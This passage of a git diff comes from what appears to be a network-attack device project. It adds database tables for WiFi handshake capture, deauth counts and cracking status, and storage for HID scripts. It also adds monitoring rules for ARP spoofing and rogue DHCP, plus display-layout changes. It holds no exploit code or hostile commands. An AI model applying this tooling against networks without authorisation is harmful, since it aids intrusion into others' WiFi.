peers, plugin data. +""" +import logging + +from logger import Logger + +logger = Logger(name="db_utils.bifrost", level=logging.DEBUG) + + +class BifrostOps: + def __init__(self, base): + self.base = base + + def create_tables(self): + """Create all Bifrost tables.""" + + # WiFi networks discovered by Bifrost + self.base.execute(""" + CREATE TABLE IF NOT EXISTS bifrost_networks ( + bssid TEXT PRIMARY KEY, + essid TEXT DEFAULT '', + channel INTEGER DEFAULT 0, + encryption TEXT DEFAULT '', + rssi INTEGER DEFAULT 0, + vendor TEXT DEFAULT '', + num_clients INTEGER DEFAULT 0, + first_seen TEXT DEFAULT CURRENT_TIMESTAMP, + last_seen TEXT DEFAULT CURRENT_TIMESTAMP, + handshake INTEGER DEFAULT 0, + deauthed INTEGER DEFAULT 0, + associated INTEGER DEFAULT 0, + whitelisted INTEGER DEFAULT 0 + ) + """) + + # Captured handshakes + self.base.execute(""" + CREATE TABLE IF NOT EXISTS bifrost_handshakes ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + ap_mac TEXT NOT NULL, + sta_mac TEXT NOT NULL, + ap_essid TEXT DEFAULT '', + channel INTEGER DEFAULT 0, + rssi INTEGER DEFAULT 0, + filename TEXT DEFAULT '', + captured_at TEXT DEFAULT CURRENT_TIMESTAMP, + uploaded INTEGER DEFAULT 0, + cracked INTEGER DEFAULT 0, + UNIQUE(ap_mac, sta_mac) + ) + """) + + # Epoch history + self.base.execute(""" + CREATE TABLE IF NOT EXISTS bifrost_epochs ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + epoch_num INTEGER NOT NULL, + started_at TEXT NOT NULL, + duration_secs REAL DEFAULT 0, + num_deauths INTEGER DEFAULT 0, + num_assocs INTEGER DEFAULT 0, + num_handshakes INTEGER DEFAULT 0, + num_hops INTEGER DEFAULT 0, + num_missed INTEGER DEFAULT 0, + num_peers INTEGER DEFAULT 0, + mood TEXT DEFAULT 'ready', + reward REAL DEFAULT 0, + cpu_load REAL DEFAULT 0, + mem_usage REAL DEFAULT 0, + temperature REAL DEFAULT 0, + meta_json TEXT DEFAULT '{}' + ) + """) + + # Activity log (event feed) + self.base.execute(""" + CREATE TABLE IF NOT EXISTS bifrost_activity ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + timestamp TEXT DEFAULT CURRENT_TIMESTAMP, + event_type TEXT NOT NULL, + title TEXT NOT NULL, + details TEXT DEFAULT '', + meta_json TEXT DEFAULT '{}' + ) + """) + self.base.execute( + "CREATE INDEX IF NOT EXISTS idx_bifrost_activity_ts " + "ON bifrost_activity(timestamp DESC)" + ) + + # Peers (mesh networking — Phase 2) + self.base.execute(""" + CREATE TABLE IF NOT EXISTS bifrost_peers ( + peer_id TEXT PRIMARY KEY, + name TEXT DEFAULT '', + version TEXT DEFAULT '', + face TEXT DEFAULT '', + encounters INTEGER DEFAULT 0, + last_channel INTEGER DEFAULT 0, + last_seen TEXT DEFAULT CURRENT_TIMESTAMP, + first_seen TEXT DEFAULT CURRENT_TIMESTAMP + ) + """) + + # Plugin persistent state + self.base.execute(""" + CREATE TABLE IF NOT EXISTS bifrost_plugin_data ( + plugin_name TEXT NOT NULL, + key TEXT NOT NULL, + value TEXT DEFAULT '', + PRIMARY KEY (plugin_name, key) + ) + """) + + logger.debug("Bifrost tables created/verified") diff --git a/db_utils/loki.py b/db_utils/loki.py new file mode 100644 index 0000000..04b0fa7 --- /dev/null +++ b/db_utils/loki.py @@ -0,0 +1,51 @@ +""" +Loki DB operations — HID scripts and job tracking. +""" +import logging + +from logger import Logger + +logger = Logger(name="db_utils.loki", level=logging.DEBUG) + + +class LokiOps: + def __init__(self, base): + self.base = base + + def create_tables(self): + """Create all Loki tables.""" + + # User-saved HID scripts + self.base.execute(""" + CREATE TABLE IF NOT EXISTS loki_scripts ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + name TEXT NOT NULL UNIQUE, + description TEXT DEFAULT '', + content TEXT NOT NULL DEFAULT '', + category TEXT DEFAULT 'general', + target_os TEXT DEFAULT 'any', + created_at TEXT DEFAULT CURRENT_TIMESTAMP, + updated_at TEXT DEFAULT CURRENT_TIMESTAMP + ) + """) + + # Job execution history + self.base.execute(""" + CREATE TABLE IF NOT EXISTS loki_jobs ( + id TEXT PRIMARY KEY, + script_id INTEGER, + script_name TEXT DEFAULT '', + status TEXT DEFAULT 'pending', + output TEXT DEFAULT '', + error TEXT DEFAULT '', + started_at TEXT, + finished_at TEXT, + created_at TEXT DEFAULT CURRENT_TIMESTAMP + ) + """) + self.base.execute( + "CREATE INDEX IF NOT EXISTS idx_loki_jobs_status " + "ON loki_jobs(status)" + ) + + logger.debug("Loki tables created/verified") diff --git a/db_utils/queue.py b/db_utils/queue.py index d72f663..243c68b 100644 --- a/db_utils/queue.py +++ b/db_utils/queue.py @@ -65,6 +65,20 @@ class QueueOps: WHERE status='scheduled'; """) + # Circuit breaker table for ORCH-01 + self.base.execute(""" + CREATE TABLE IF NOT EXISTS action_circuit_breaker ( + action_name TEXT NOT NULL, + mac_address TEXT NOT NULL DEFAULT '', + failure_streak INTEGER NOT NULL DEFAULT 0, + last_failure_at TEXT, + circuit_status TEXT NOT NULL DEFAULT 'closed', + opened_at TEXT, + cooldown_until TEXT, + PRIMARY KEY (action_name, mac_address) + ); + """) + logger.debug("Action queue table created/verified") # ========================================================================= @@ -398,6 +412,120 @@ class QueueOps: # HELPER METHODS # ========================================================================= + # ========================================================================= + # CIRCUIT BREAKER OPERATIONS (ORCH-01) + # ========================================================================= + + def record_circuit_breaker_failure(self, action_name: str, mac: str = '', + threshold: int = 3) -> None: + """Increment failure streak; open circuit if streak >= threshold.""" + now_str = self.base.query_one("SELECT datetime('now') AS ts")['ts'] + # Upsert the row + self.base.execute(""" + INSERT INTO action_circuit_breaker (action_name, mac_address, failure_streak, + last_failure_at, circuit_status) + VALUES (?, ?, 1, ?, 'closed') + ON CONFLICT(action_name, mac_address) DO UPDATE SET + failure_streak = failure_streak + 1, + last_failure_at = excluded.last_failure_at + """, (action_name, mac or '', now_str)) + + # Check if we need to open the circuit + row = self.base.query_one( + "SELECT failure_streak FROM action_circuit_breaker WHERE action_name=? AND mac_address=?", + (action_name, mac or '') + ) + if row and row['failure_streak'] >= threshold: + streak = row['failure_streak'] + cooldown_secs = min(2 ** streak * 60, 3600) + self.base.execute(""" + UPDATE action_circuit_breaker + SET circuit_status = 'open', + opened_at = ?, + cooldown_until = datetime(?, '+' || ? || ' seconds') + WHERE action_name=? AND mac_address=? + """, (now_str, now_str, str(cooldown_secs), action_name, mac or '')) + + def record_circuit_breaker_success(self, action_name: str, mac: str = '') -> None: + """Reset failure streak and close circuit on success.""" + self.base.execute(""" + INSERT INTO action_circuit_breaker (action_name, mac_address, failure_streak, + circuit_status) + VALUES (?, ?, 0, 'closed') + ON CONFLICT(action_name, mac_address) DO UPDATE SET + failure_streak = 0, + circuit_status = 'closed', + opened_at = NULL, + cooldown_until = NULL + """, (action_name, mac or '')) + + def is_circuit_open(self, action_name: str, mac: str = '') -> bool: + """Return True if circuit is open AND cooldown hasn't expired. + If cooldown has expired, transition to half_open and return False.""" + row = self.base.query_one( + "SELECT circuit_status, cooldown_until FROM action_circuit_breaker " + "WHERE action_name=? AND mac_address=?", + (action_name, mac or '') + ) + if not row: + return False + status = row['circuit_status'] + if status == 'closed': + return False + if status == 'open': + cooldown = row.get('cooldown_until') + if cooldown: + # Check if cooldown has expired + expired = self.base.query_one( + "SELECT datetime('now') >= datetime(?) AS expired", + (cooldown,) + ) + if expired and expired['expired']: + # Transition to half_open + self.base.execute(""" + UPDATE action_circuit_breaker SET circuit_status='half_open' + WHERE action_name=? AND mac_address=? + """, (action_name, mac or '')) + return False # Allow one attempt through + return True # Still in cooldown + # half_open: allow one attempt through + return False + + def get_circuit_breaker_status(self, action_name: str, mac: str = '') -> Optional[Dict[str, Any]]: + """Return full circuit breaker status dict.""" + row = self.base.query_one( + "SELECT * FROM action_circuit_breaker WHERE action_name=? AND mac_address=?", + (action_name, mac or '') + ) + return dict(row) if row else None + + def reset_circuit_breaker(self, action_name: str, mac: str = '') -> None: + """Manual reset of circuit breaker.""" + self.base.execute(""" + DELETE FROM action_circuit_breaker WHERE action_name=? AND mac_address=? + """, (action_name, mac or '')) + + # ========================================================================= + # CONCURRENCY OPERATIONS (ORCH-02) + # ========================================================================= + + def count_running_actions(self, action_name: Optional[str] = None) -> int: + """Count currently running actions, optionally filtered by action_name.""" + if action_name: + row = self.base.query_one( + "SELECT COUNT(*) AS cnt FROM action_queue WHERE status='running' AND action_name=?", + (action_name,) + ) + else: + row = self.base.query_one( + "SELECT COUNT(*) AS cnt FROM action_queue WHERE status='running'" + ) + return int(row['cnt']) if row else 0 + + # ========================================================================= + # HELPER METHODS + # ========================================================================= + def _format_ts_for_raw(self, ts_db: Optional[str]) -> str: """ Convert SQLite 'YYYY-MM-DD HH:MM:SS' to 'YYYYMMDD_HHMMSS'. diff --git a/db_utils/sentinel.py b/db_utils/sentinel.py new file mode 100644 index 0000000..687310c --- /dev/null +++ b/db_utils/sentinel.py @@ -0,0 +1,314 @@ +""" +Sentinel DB operations — events, rules, known devices baseline. +""" +import json +import logging +from typing import Any, Dict, List, Optional + +from logger import Logger + +logger = Logger(name="db_utils.sentinel", level=logging.DEBUG) + + +class SentinelOps: + def __init__(self, base): + self.base = base + + def create_tables(self): + """Create all Sentinel tables.""" + + # Known device baselines — MAC → expected behavior + self.base.execute(""" + CREATE TABLE IF NOT EXISTS sentinel_devices ( + mac_address TEXT PRIMARY KEY, + alias TEXT, + trusted INTEGER DEFAULT 0, + watch INTEGER DEFAULT 1, + first_seen TEXT DEFAULT CURRENT_TIMESTAMP, + last_seen TEXT DEFAULT CURRENT_TIMESTAMP, + expected_ips TEXT DEFAULT '', + expected_ports TEXT DEFAULT '', + notes TEXT DEFAULT '' + ) + """) + + # Events / alerts log + self.base.execute(""" + CREATE TABLE IF NOT EXISTS sentinel_events ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + timestamp TEXT DEFAULT CURRENT_TIMESTAMP, + event_type TEXT NOT NULL, + severity TEXT DEFAULT 'info', + title TEXT NOT NULL, + details TEXT DEFAULT '', + mac_address TEXT, + ip_address TEXT, + acknowledged INTEGER DEFAULT 0, + notified INTEGER DEFAULT 0, + meta_json TEXT DEFAULT '{}' + ) + """) + self.base.execute( + "CREATE INDEX IF NOT EXISTS idx_sentinel_events_ts " + "ON sentinel_events(timestamp DESC)" + ) + self.base.execute( + "CREATE INDEX IF NOT EXISTS idx_sentinel_events_type " + "ON sentinel_events(event_type)" + ) + self.base.execute( + "CREATE INDEX IF NOT EXISTS idx_sentinel_events_ack " + "ON sentinel_events(acknowledged)" + ) + + # Configurable rules (AND/OR composable) + self.base.execute(""" + CREATE TABLE IF NOT EXISTS sentinel_rules ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + name TEXT NOT NULL, + enabled INTEGER DEFAULT 1, + trigger_type TEXT NOT NULL, + conditions TEXT DEFAULT '{}', + logic TEXT DEFAULT 'AND', + actions TEXT DEFAULT '["notify_web"]', + cooldown_s INTEGER DEFAULT 60, + last_fired TEXT, + created_at TEXT DEFAULT CURRENT_TIMESTAMP + ) + """) + + # ARP cache snapshots for spoof detection + self.base.execute(""" + CREATE TABLE IF NOT EXISTS sentinel_arp_cache ( + mac_address TEXT NOT NULL, + ip_address TEXT NOT NULL, + first_seen TEXT DEFAULT CURRENT_TIMESTAMP, + last_seen TEXT DEFAULT CURRENT_TIMESTAMP, + PRIMARY KEY (mac_address, ip_address) + ) + """) + + # Insert default rules if empty + existing = self.base.query("SELECT COUNT(*) AS c FROM sentinel_rules") + if existing and existing[0].get('c', 0) == 0: + self._insert_default_rules() + + def _insert_default_rules(self): + """Seed default Sentinel rules.""" + defaults = [ + { + "name": "New Device Detected", + "trigger_type": "new_device", + "conditions": "{}", + "logic": "AND", + "actions": '["notify_web"]', + "cooldown_s": 0, + }, + { + "name": "Device Joined Network", + "trigger_type": "device_join", + "conditions": "{}", + "logic": "AND", + "actions": '["notify_web"]', + "cooldown_s": 30, + }, + { + "name": "Device Left Network", + "trigger_type": "device_leave", + "conditions": "{}", + "logic": "AND", + "actions": '["notify_web"]', + "cooldown_s": 30, + }, + { + "name": "ARP Spoofing Detected", + "trigger_type": "arp_spoof", + "conditions": "{}", + "logic": "AND", + "actions": '["notify_web", "notify_discord"]', + "cooldown_s": 10, + }, + { + "name": "Port Change on Host", + "trigger_type": "port_change", + "conditions": "{}", + "logic": "AND", + "actions": '["notify_web"]', + "cooldown_s": 120, + }, + { + "name": "Rogue DHCP Server", + "trigger_type": "rogue_dhcp", + "conditions": "{}", + "logic": "AND", + "actions": '["notify_web", "notify_discord"]', + "cooldown_s": 60, + }, + ] + for rule in defaults: + self.base.execute( + """INSERT INTO sentinel_rules + (name, trigger_type, conditions, logic, actions, cooldown_s) + VALUES (?, ?, ?, ?, ?, ?)""", + (rule["name"], rule["trigger_type"], rule["conditions"], + rule["logic"], rule["actions"], rule["cooldown_s"]) + ) + + # ── Events ────────────────────────────────────────────────────────── + + def insert_event(self, event_type: str, severity: str, title: str, + details: str = "", mac: str = "", ip: str = "", + meta: Optional[Dict] = None) -> int: + return self.base.execute( + """INSERT INTO sentinel_events + (event_type, severity, title, details, mac_address, ip_address, meta_json) + VALUES (?, ?, ?, ?, ?, ?, ?)""", + (event_type, severity, title, details, mac, ip, + json.dumps(meta or {})) + ) + + def get_events(self, limit: int = 100, offset: int = 0, + event_type: str = "", unread_only: bool = False) -> List[Dict]: + sql = "SELECT * FROM sentinel_events WHERE 1=1" + params: list = [] + if event_type: + sql += " AND event_type = ?" + params.append(event_type) + if unread_only: + sql += " AND acknowledged = 0" + sql += " ORDER BY timestamp DESC LIMIT ? OFFSET ?" + params.extend([limit, offset]) + return self.base.query(sql, params) + + def count_unread(self) -> int: + row = self.base.query_one( + "SELECT COUNT(*) AS c FROM sentinel_events WHERE acknowledged = 0" + ) + return int(row.get("c", 0)) if row else 0 + + def acknowledge_event(self, event_id: int): + self.base.execute( + "UPDATE sentinel_events SET acknowledged = 1 WHERE id = ?", + (event_id,) + ) + + def acknowledge_all(self): + self.base.execute("UPDATE sentinel_events SET acknowledged = 1") + + def clear_events(self): + self.base.execute("DELETE FROM sentinel_events") + + # ── Rules ─────────────────────────────────────────────────────────── + + def get_rules(self) -> List[Dict]: + return self.base.query("SELECT * FROM sentinel_rules ORDER BY id") + + def get_enabled_rules(self, trigger_type: str = "") -> List[Dict]: + if trigger_type: + return self.base.query( + "SELECT * FROM sentinel_rules WHERE enabled = 1 AND trigger_type = ?", + (trigger_type,) + ) + return self.base.query( + "SELECT * FROM sentinel_rules WHERE enabled = 1" + ) + + def upsert_rule(self, data: Dict) -> Dict: + rule_id = data.get("id") + if rule_id: + self.base.execute( + """UPDATE sentinel_rules SET + name=?, enabled=?, trigger_type=?, conditions=?, + logic=?, actions=?, cooldown_s=? + WHERE id=?""", + (data["name"], int(data.get("enabled", 1)), + data["trigger_type"], json.dumps(data.get("conditions", {})), + data.get("logic", "AND"), + json.dumps(data.get("actions", ["notify_web"])), + int(data.get("cooldown_s", 60)), rule_id) + ) + else: + self.base.execute( + """INSERT INTO sentinel_rules + (name, enabled, trigger_type, conditions, logic, actions, cooldown_s) + VALUES (?, ?, ?, ?, ?, ?, ?)""", + (data["name"], int(data.get("enabled", 1)), + data["trigger_type"], json.dumps(data.get("conditions", {})), + data.get("logic", "AND"), + json.dumps(data.get("actions", ["notify_web"])), + int(data.get("cooldown_s", 60))) + ) + return {"status": "ok"} + + def delete_rule(self, rule_id: int): + self.base.execute("DELETE FROM sentinel_rules WHERE id = ?", (rule_id,)) + + def update_rule_fired(self, rule_id: int): + self.base.execute( + "UPDATE sentinel_rules SET last_fired = CURRENT_TIMESTAMP WHERE id = ?", + (rule_id,) + ) + + # ── Devices baseline ──────────────────────────────────────────────── + + def get_known_device(self, mac: str) -> Optional[Dict]: + return self.base.query_one( + "SELECT * FROM sentinel_devices WHERE mac_address = ?", (mac,) + ) + + def upsert_device(self, mac: str, **kwargs): + existing = self.get_known_device(mac) + if existing: + sets = [] + params = [] + for k, v in kwargs.items(): + if k in ("alias", "trusted", "watch", "expected_ips", + "expected_ports", "notes"): + sets.append(f"{k} = ?") + params.append(v) + sets.append("last_seen = CURRENT_TIMESTAMP") + if sets: + params.append(mac) + self.base.execute( + f"UPDATE sentinel_devices SET {', '.join(sets)} WHERE mac_address = ?", + params + ) + else: + self.base.execute( + """INSERT INTO sentinel_devices + (mac_address, alias, trusted, watch, expected_ips, expected_ports, notes) + VALUES (?, ?, ?, ?, ?, ?, ?)""", + (mac, kwargs.get("alias", ""), + int(kwargs.get("trusted", 0)), + int(kwargs.get("watch", 1)), + kwargs.get("expected_ips", ""), + kwargs.get("expected_ports", ""), + kwargs.get("notes", "")) + ) + + def get_all_known_devices(self) -> List[Dict]: + return self.base.query("SELECT * FROM sentinel_devices ORDER BY last_seen DESC") + + # ── ARP cache ─────────────────────────────────────────────────────── + + def update_arp_entry(self, mac: str, ip: str): + self.base.execute( + """INSERT INTO sentinel_arp_cache (mac_address, ip_address) + VALUES (?, ?) + ON CONFLICT(mac_address, ip_address) + DO UPDATE SET last_seen = CURRENT_TIMESTAMP""", + (mac, ip) + ) + + def get_arp_for_ip(self, ip: str) -> List[Dict]: + return self.base.query( + "SELECT * FROM sentinel_arp_cache WHERE ip_address = ?", (ip,) + ) + + def get_arp_for_mac(self, mac: str) -> List[Dict]: + return self.base.query( + "SELECT * FROM sentinel_arp_cache WHERE mac_address = ?", (mac,) + ) + + def get_full_arp_cache(self) -> List[Dict]: + return self.base.query("SELECT * FROM sentinel_arp_cache ORDER BY last_seen DESC") diff --git a/debug_schema.py b/debug_schema.py new file mode 100644 index 0000000..4a66050 --- /dev/null +++ b/debug_schema.py @@ -0,0 +1,35 @@ + +import sqlite3 +import os + +db_path = "bjorn.db" + +def check_schema(): + if not os.path.exists(db_path): + print(f"Database {db_path} not found.") + return + + conn = sqlite3.connect(db_path) + cursor = conn.cursor() + + tables = ["rl_training_log", "rl_experiences"] + + with open("schema_debug.txt", "w") as f: + for table in tables: + f.write(f"\nSchema for {table}:\n") + try: + cursor.execute(f"PRAGMA table_info({table})") + columns = cursor.fetchall() + if not columns: + f.write(" (Table not found)\n") + else: + for col in columns: + f.write(f" - {col[1]} ({col[2]})\n") + except Exception as e: + f.write(f" Error: {e}\n") + + conn.close() + +if __name__ == "__main__": + check_schema() + print("Done writing to schema_debug.txt") diff --git a/display.py b/display.py index e3e9b2d..8a0310b 100644 --- a/display.py +++ b/display.py @@ -15,6 +15,7 @@ from typing import Dict, List, Optional, Any, Tuple from PIL import Image, ImageDraw, ImageFont from init_shared import shared_data from logger import Logger +from display_layout import DisplayLayout logger = Logger(name="display.py", level=logging.DEBUG) @@ -166,6 +167,10 @@ class Display: self.config = self.shared_data.config self.epd_enabled = self.config.get("epd_enabled", True) + # Initialize display layout engine + self.layout = DisplayLayout(self.shared_data) + self.shared_data.display_layout = self.layout + self.epd = self.shared_data.epd if self.epd_enabled else None if self.config.get("epd_type") == "epd2in13_V2": @@ -304,7 +309,8 @@ class Display: image = Image.new('1', (self.shared_data.width, self.shared_data.height), 255) draw = ImageDraw.Draw(image) - draw.text((self.px(37), self.py(5)), "BJORN", font=self.shared_data.font_viking, fill=0) + title_pos = self.layout.get('title') + draw.text((self.px(title_pos.get('x', 37)), self.py(title_pos.get('y', 5))), "BJORN", font=self.shared_data.font_viking, fill=0) message = f"Awakening...\nIP: {ip_address}" draw.text( @@ -349,14 +355,25 @@ class Display: return default def get_frise_position(self) -> Tuple[int, int]: - display_type = self.config.get("epd_type", "default") - - if display_type == "epd2in7": - x = self._as_int(getattr(self.shared_data, "frise_epd2in7_x", 50), 50) - y = self._as_int(getattr(self.shared_data, "frise_epd2in7_y", 160), 160) + frise = self.layout.get('frise') + if frise: + # Layout-driven frise position; shared_data overrides still honoured + display_type = self.config.get("epd_type", "default") + if display_type == "epd2in7": + x = self._as_int(getattr(self.shared_data, "frise_epd2in7_x", frise.get('x', 50)), frise.get('x', 50)) + y = self._as_int(getattr(self.shared_data, "frise_epd2in7_y", frise.get('y', 160)), frise.get('y', 160)) + else: + x = self._as_int(getattr(self.shared_data, "frise_default_x", frise.get('x', 0)), frise.get('x', 0)) + y = self._as_int(getattr(self.shared_data, "frise_default_y", frise.get('y', 160)), frise.get('y', 160)) else: - x = self._as_int(getattr(self.shared_data, "frise_default_x", 0), 0) - y = self._as_int(getattr(self.shared_data, "frise_default_y", 160), 160) + # Fallback to original hardcoded logic + display_type = self.config.get("epd_type", "default") + if display_type == "epd2in7": + x = self._as_int(getattr(self.shared_data, "frise_epd2in7_x", 50), 50) + y = self._as_int(getattr(self.shared_data, "frise_epd2in7_y", 160), 160) + else: + x = self._as_int(getattr(self.shared_data, "frise_default_x", 0), 0) + y = self._as_int(getattr(self.shared_data, "frise_default_y", 160), 160) return self.px(x), self.py(y) @@ -609,16 +626,18 @@ class Display: try: draw = ImageDraw.Draw(image) - draw.text((self.px(37), self.py(5)), self.bjorn_name, font=self.font_to_use, fill=0) + title_pos = self.layout.get('title') + draw.text((self.px(title_pos.get('x', 37)), self.py(title_pos.get('y', 5))), self.bjorn_name, font=self.font_to_use, fill=0) self._draw_connection_icons(image) self._draw_battery_status(image) self._draw_statistics(image, draw) self._draw_system_histogram(image, draw) + status_pos = self.layout.get('status_image') status_img = self.shared_data.bjorn_status_image or self.shared_data.attack if status_img is not None: - image.paste(status_img, (self.px(3), self.py(52))) + image.paste(status_img, (self.px(status_pos.get('x', 3)), self.py(status_pos.get('y', 52)))) self._draw_status_text(draw) self._draw_decorations(image, draw) @@ -635,12 +654,13 @@ class Display: raise def _draw_connection_icons(self, image: Image.Image): + wifi_pos = self.layout.get('wifi_icon') wifi_width = self.px(16) bluetooth_width = self.px(9) usb_width = self.px(9) ethernet_width = self.px(12) - start_x = self.px(3) + start_x = self.px(wifi_pos.get('x', 3)) spacing = self.px(6) active_icons = [] @@ -663,7 +683,8 @@ class Display: current_x += width + spacing def _draw_battery_status(self, image: Image.Image): - battery_pos = (self.px(110), self.py(3)) + bat = self.layout.get('battery_icon') + battery_pos = (self.px(bat.get('x', 110)), self.py(bat.get('y', 3))) battery_status = self.shared_data.battery_status if battery_status == 101: @@ -683,47 +704,41 @@ class Display: break def _draw_system_histogram(self, image: Image.Image, draw: ImageDraw.Draw): - # Vertical bars at the bottom-left - # Screen W: 122, Character W: 78 -> Character X: 22 - # Available Left: 0-21. - # Margins: Left 2px (0,1), Right 1px (21) - # RAM: x=2-10 (9px) - # Gap: 11 (1px) - # CPU: x=12-20 (9px) - - # Bottom of screen is 249. User requested 1px up -> 248. - # Font 9 height approx 9-10px. - # Label now has NO box and 1px gap. - # Label Y: 248 - 9 (height) = 239. - # Gap: 1px -> 238 empty. - # Bar Base Y: 237. - - label_h = self.py(9) # Approx height for font 9 + # Vertical bars at the bottom-left — positions from layout + mem_hist = self.layout.get('mem_histogram') + cpu_hist = self.layout.get('cpu_histogram') + + # Memory bar: x from layout, width from layout + mem_x = mem_hist.get('x', 2) + mem_w = mem_hist.get('w', 8) + mem_bar_y = mem_hist.get('y', 204) + mem_bar_h = mem_hist.get('h', 33) + + # CPU bar: x from layout + cpu_x = cpu_hist.get('x', 12) + cpu_w = cpu_hist.get('w', 8) + label_y = self.py(239) base_y = self.py(237) # 1px gap above label - max_h = self.py(33) # Remaining height (237 - 204 = 33) - + max_h = self.py(mem_bar_h) + # RAM ram_pct = max(0, min(100, self.shared_data.system_mem)) ram_h = int((ram_pct / 100.0) * max_h) - # Bar background (x=2 to x=10 inclusive) - draw.rectangle([self.px(2), base_y - max_h, self.px(10), base_y], outline=0) - # Fill - draw.rectangle([self.px(2), base_y - ram_h, self.px(10), base_y], fill=0) - - # Label 'M' - No Box, just text - draw.text((self.px(3), label_y), "M", font=self.shared_data.font_arial9, fill=0) + draw.rectangle([self.px(mem_x), base_y - max_h, self.px(mem_x + mem_w), base_y], outline=0) + draw.rectangle([self.px(mem_x), base_y - ram_h, self.px(mem_x + mem_w), base_y], fill=0) - # CPU + # Label 'M' - No Box, just text + draw.text((self.px(mem_x + 1), label_y), "M", font=self.shared_data.font_arial9, fill=0) + + # CPU cpu_pct = max(0, min(100, self.shared_data.system_cpu)) cpu_h = int((cpu_pct / 100.0) * max_h) - # Bar background (x=12 to x=20 inclusive) - draw.rectangle([self.px(12), base_y - max_h, self.px(20), base_y], outline=0) - # Fill - draw.rectangle([self.px(12), base_y - cpu_h, self.px(20), base_y], fill=0) - + draw.rectangle([self.px(cpu_x), base_y - max_h, self.px(cpu_x + cpu_w), base_y], outline=0) + draw.rectangle([self.px(cpu_x), base_y - cpu_h, self.px(cpu_x + cpu_w), base_y], fill=0) + # Label 'C' - No Box - draw.text((self.px(13), label_y), "C", font=self.shared_data.font_arial9, fill=0) + draw.text((self.px(cpu_x + 1), label_y), "C", font=self.shared_data.font_arial9, fill=0) def _format_count(self, val): try: @@ -735,26 +750,32 @@ class Display: return str(val) def _draw_statistics(self, image: Image.Image, draw: ImageDraw.Draw): + stats_y = self.layout.get('stats_row', 'y') if isinstance(self.layout.get('stats_row'), dict) else 22 + if isinstance(stats_y, dict): + stats_y = stats_y.get('y', 22) + stats_row = self.layout.get('stats_row') + sr_y = stats_row.get('y', 22) if stats_row else 22 + sr_text_y = sr_y + 17 # Text offset below icon row stats = [ - # Row 1 (Icons at y=22, Text at y=39) + # Row 1 (Icons at stats_row y, Text at y+17) # Target - (self.shared_data.target, (self.px(2), self.py(22)), - (self.px(2), self.py(39)), self._format_count(self.shared_data.target_count)), + (self.shared_data.target, (self.px(2), self.py(sr_y)), + (self.px(2), self.py(sr_text_y)), self._format_count(self.shared_data.target_count)), # Port - (self.shared_data.port, (self.px(22), self.py(22)), - (self.px(22), self.py(39)), self._format_count(self.shared_data.port_count)), + (self.shared_data.port, (self.px(22), self.py(sr_y)), + (self.px(22), self.py(sr_text_y)), self._format_count(self.shared_data.port_count)), # Vuln - (self.shared_data.vuln, (self.px(42), self.py(22)), - (self.px(42), self.py(39)), self._format_count(self.shared_data.vuln_count)), + (self.shared_data.vuln, (self.px(42), self.py(sr_y)), + (self.px(42), self.py(sr_text_y)), self._format_count(self.shared_data.vuln_count)), # Cred - (self.shared_data.cred, (self.px(62), self.py(22)), - (self.px(62), self.py(39)), self._format_count(self.shared_data.cred_count)), + (self.shared_data.cred, (self.px(62), self.py(sr_y)), + (self.px(62), self.py(sr_text_y)), self._format_count(self.shared_data.cred_count)), # Zombie - (self.shared_data.zombie, (self.px(82), self.py(22)), - (self.px(82), self.py(39)), self._format_count(self.shared_data.zombie_count)), + (self.shared_data.zombie, (self.px(82), self.py(sr_y)), + (self.px(82), self.py(sr_text_y)), self._format_count(self.shared_data.zombie_count)), # Data - (self.shared_data.data, (self.px(102), self.py(22)), - (self.px(102), self.py(39)), self._format_count(self.shared_data.data_count)), + (self.shared_data.data, (self.px(102), self.py(sr_y)), + (self.px(102), self.py(sr_text_y)), self._format_count(self.shared_data.data_count)), # LVL Widget (Top-Left of bottom frame) # Frame Line at y=170. Gap 1px -> Start y=172. Left Gap 1px -> Start x=2. @@ -782,13 +803,11 @@ class Display: draw.text(text_pos, text, font=self.shared_data.font_arial9, fill=0) # Draw LVL Box manually to ensure perfect positioning - # Box: x=2, y=172. - # User requested "LVL" above value -> Rectangle. - # Height increased to fit both (approx 26px). - lvl_x = self.px(2) - lvl_y = self.py(172) - lvl_w = self.px(18) - lvl_h = self.py(26) + lvl = self.layout.get('lvl_box') + lvl_x = self.px(lvl.get('x', 2)) + lvl_y = self.py(lvl.get('y', 172)) + lvl_w = self.px(lvl.get('w', 18)) + lvl_h = self.py(lvl.get('h', 26)) draw.rectangle([lvl_x, lvl_y, lvl_x + lvl_w, lvl_y + lvl_h], outline=0) @@ -813,17 +832,14 @@ class Display: draw.text((v_x, v_y), lvl_val, font=val_font, fill=0) # --- Right Side Widgets (Integrated with Frame) --- - # Existing Frame: Top line at y=170. Right edge at x=121. Bottom at y=249. - # We only need to draw the Left Vertical separator and Internal Horizontal separators. - - # Column: x=101 to x=121 (Width 20px). - # Height: y=170 to y=249 (Total 79px). - - col_x_start = self.px(101) - col_x_end = self.px(121) # Implicit right edge, useful for centering - col_w = self.px(20) - - y_top = self.py(170) + nkb = self.layout.get('network_kb') + line_bottom = self.layout.get('line_bottom_section') + + col_x_start = self.px(nkb.get('x', 101)) + col_x_end = self.px(nkb.get('x', 101) + nkb.get('w', 20)) + col_w = self.px(nkb.get('w', 20)) + + y_top = self.py(line_bottom.get('y', 170)) y_bottom = self.py(249) # 1. Draw Left Vertical Divider @@ -925,13 +941,20 @@ class Display: progress_val = int(progress_str) except: progress_val = 0 - - # Draw Progress Bar (y=75-80) - Moved up & narrower to fit text - bar_x = self.px(35) - bar_y = self.py(75) - bar_w = self.px(55) # Reduced to 55px to fit text "100%" - bar_h = self.py(5) - + + # Layout lookups for status area + pbar = self.layout.get('progress_bar') + ip_pos = self.layout.get('ip_text') + sl1 = self.layout.get('status_line1') + sl2 = self.layout.get('status_line2') + line_comment = self.layout.get('line_comment_top') + + # Draw Progress Bar + bar_x = self.px(pbar.get('x', 35)) + bar_y = self.py(pbar.get('y', 75)) + bar_w = self.px(pbar.get('w', 55)) + bar_h = self.py(pbar.get('h', 5)) + if progress_val > 0: # Standard Progress Bar draw.rectangle([bar_x, bar_y, bar_x + bar_w, bar_y + bar_h], outline=0) @@ -940,9 +963,6 @@ class Display: draw.rectangle([bar_x, bar_y, bar_x + fill_w, bar_y + bar_h], fill=0) # Draw Percentage Text at the end - # x = bar_x + bar_w + 3 - # y = centered with bar (bar 